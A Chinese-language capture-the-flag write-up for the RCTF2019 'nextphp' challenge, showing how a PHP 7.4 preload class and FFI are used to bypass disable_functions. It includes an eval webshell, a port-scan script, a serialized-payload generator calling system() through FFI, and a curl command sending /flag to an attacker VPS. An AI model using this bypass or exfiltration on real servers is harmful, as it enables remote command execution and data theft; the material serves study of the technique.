RCTF2019Web题解之nextphp

栏目: PHP · 发布时间: 6年前

内容简介:这题主要考察PHP-7.4中的两个特性(PHP is the best language!题目地址:

这题主要考察PHP-7.4中的两个特性( FFISerializable__serialize__unserialize ),通过 FFI 绕过 disable_functions 限制。

nextphp

PHP is the best language!

题目地址: http://nextphp.2019.rctf.rois.io

题目docker: https://github.com/zsxsoft/my-ctf-challenges/tree/master/rctf2019/nextphp

index.php

<?php
if (isset($_GET['a'])) {
        eval($_GET['a']);
} else {
        show_source(__FILE__);
}

preload.php

<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'print_r',
        'arg' => '1'
    ];

    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }

    public function __serialize(): array {
        return $this->data;
    }

    public function __unserialize(array $data) {
        array_merge($this->data, $data);
        $this->run();
    }

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __get ($key) {
        return $this->data[$key];
    }

    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }

    public function __construct () {
        throw new \Exception('No implemented');
    }
}

通过前面给的 shell(index.php) ,可以通过 phpinfo 发现存在如下关键信息:

PHP Version 7.4.0-dev

内网IP:172.20.0.1

开启了FFI

opcache.preload:/var/www/html/preload.php

open_basedir:/var/www/html

disable_classes:ReflectionClass

disable_functions

set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl

刚开始,想通过这个 shell 进行SSRF扫描内网,看看内网是否还有其他主机运行web,因为有可能内网中其他机器上的disable_functions限制没有这么严格。

 // 端口扫描:
$hosts='127.0.0.1';
$timeout=0.5;
for($i=0;$i<65535;$i++){
    $c=@fsockopen($hosts,$i, $en,$es, $timeout);
    if(is_resource($c)){
        echo $hosts.':'.$i.' => open\n<br>';
        fclose($c);
    }
    ob_flush();
    flush();
}
# 题目内网IP:172.20.0.1

172.20.0.2:80 => open\n<br>
172.20.0.2:46036 => open\n<br>
172.20.0.2:53310 => open\n<br>
172.20.0.2:65616 => open\n<br>

发现 172.20.0.2 上有和题目一模一样的 web 环境,但是对比了他们两个的 phpinfo 信息,发现是一样的,其他端口没什么发现,遂放弃这个思路,转向 opcache.preload

opcache.preloadPHP7.4 中新加入的功能。如果设置了 opcache.preload ,那么在所有Web应用程序运行之前,服务会先将设定的 preload 文件加载进内存中,使这些 preload 文件中的内容对之后的请求均可用。更多细节可以阅读: https://wiki.php.net/rfc/preload ,在这篇文档尾巴可以看到如下描述:

In conjunction with ext/FFI (dangerous extension), we may allow FFI functionality only in preloaded PHP files, but not in regular ones

大概意思就是说允许在 preload 文件中使用 FFI 拓展,但是文档中说了 FFI 是一个危险的拓展,而这道题目却开启了 FFI 拓展。我们可以参考文档: https://wiki.php.net/rfc/ffi 中的例子:

<?php
// create FFI object, loading libc and exporting function printf()
$ffi = FFI::cdef(
    "int printf(const char *format, ...);", // this is regular C declaration
    "libc.so.6");
// call C printf()
$ffi->printf("Hello %s!\n", "world");

先通过如下命令编译 PHP-7.4-dev

apt install libsqlite3-dev libffi-dev bison re2c pkg-config
git clone https://github.com/php/php-src.git
cd php-src
git checkout PHP-7.4
./buildconf
./configure --prefix=$HOME/myphp --with-config-file-path=$HOME/myphp/lib --with-ffi --enable-opcache --enable-cli
make -j $(nproc) && make install

然后测试,发现如果不设置 FFI::cdef 的第二个参数,也可以调用 C 函数。(具体原因还没细究,猜测在调用 system 函数时,先从系统默认的共享库中搜寻函数是否定义,如果定义则直接调用函数。)

RCTF2019Web题解之nextphp

这样的话,我们就可以利用 preload.php 中类 Arun 方法直接执行命令了,也就可以直接绕过 disable_functions 等限制。通过如下脚本生成 exp

<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'FFI::cdef',
        'arg' => 'int system(char *command);'
    ];

    private function run () {
        echo "run<br>";
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }
    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __get ($key) {
        return $this->data[$key];
    }

    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }

    public function __construct () {
        echo "__construct<br>";
    }
}

$a = new A();
echo base64_encode(serialize($a)); // 即payload

这里的EXP代码中删除了原有的 __serialize__unserialize 两个函数,这是因为在反序列化时会触发 __unserialize 函数,这一特性是在 PHP 7.4中新加入的,具体可参考: https://wiki.php.net/rfc/custom_object_serialization

然后访问 http://题目/?a=unserialize(base64_decode(上面生成的payload))->__serialize()['ret']->system(系统命令); ,这里的命令执行的结果不会回显,可以用VPS接收flag,执行命令 curl -d @/flag http://VPS 就行了。

RCTF2019Web题解之nextphp

后来又想为什么不直接通过那个 shell 利用 FFI (直接不用那个反序列化),结果试了发现不行。再次查看文档,发现如下描述:

FFI API opens all the C power, and consequently, also an enormous possibility to have something go wrong, crash PHP, or even worse. To minimize risk PHP FFI API usage may be restricted. By default FFI API may be used only in CLI scripts and preloaded PHP files. This may be changed through ffi.enable INI directive. This is INI_SYSTEM directive and it’s value can’t be changed at run-time.

  • ffi.enable=false completely disables PHP FFI API
  • ffi.enable=true enables PHP FFI API without any restrictions
  • ffi.enable=preload (the default value) enables FFI but restrict its usage to CLI and preloaded scripts

原来默认 ffi.enable=preload 且仅在命令行模式和 preload 文件中可用,在本地环境 ffi.enable=preload 模式下,web端也是无法执行 FFI 。将 ffi.enable 设置成 true 后,发现 web 端就可以利用 FFI 了。

赛后看了一下 FFI 的源码,发现当不设置 FFI::cdef 的第二个参数时,源码中的 libNULL ,并且 handle 被设为 RTLD_DEFAULT 。这个 RTLD_DEFAULT 定义在 dlfcn.h:47 文件中。

RCTF2019Web题解之nextphp

之后会调用 DL_FETCH_SYMBOL 函数,而这个函数就是 dlsym 函数,其定义在 zend_portability.h:157 文件中。

RCTF2019Web题解之nextphp

从文档 DLSYM函数手册 中,可以看到如下描述:

RTLD_DEFAULT

Find the first occurrence of the desired symbol using the default shared object search order. The search will include global symbols in the executable and its dependencies, as well as symbols in shared objects that were dynamically loaded with the RTLD_GLOBAL flag.

dlsym 第一个参数为 RTLD_DEFAULT 时,程序会按照默认共享库的顺序,从中搜索 system 函数第一次出现的地方并使用。搜索范围还包括了可执行程序极其依赖中的函数表(如果设置了 RTLD_GLOBAL 还会搜索动态加载库中的函数表),所以应该是这些搜索范围中存在可调用的 system 函数。


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Mastering Flask

Mastering Flask

Jack Stouffer / Packt Publishing / 2015-9-30 / USD 49.99

Work with scalable Flask application structures to create complex web apps Discover the most powerful Flask extensions and learn how to create one Deploy your application to real-world platforms......一起来看看 《Mastering Flask》 这本书的介绍吧!

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

Markdown 在线编辑器
Markdown 在线编辑器

Markdown 在线编辑器

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试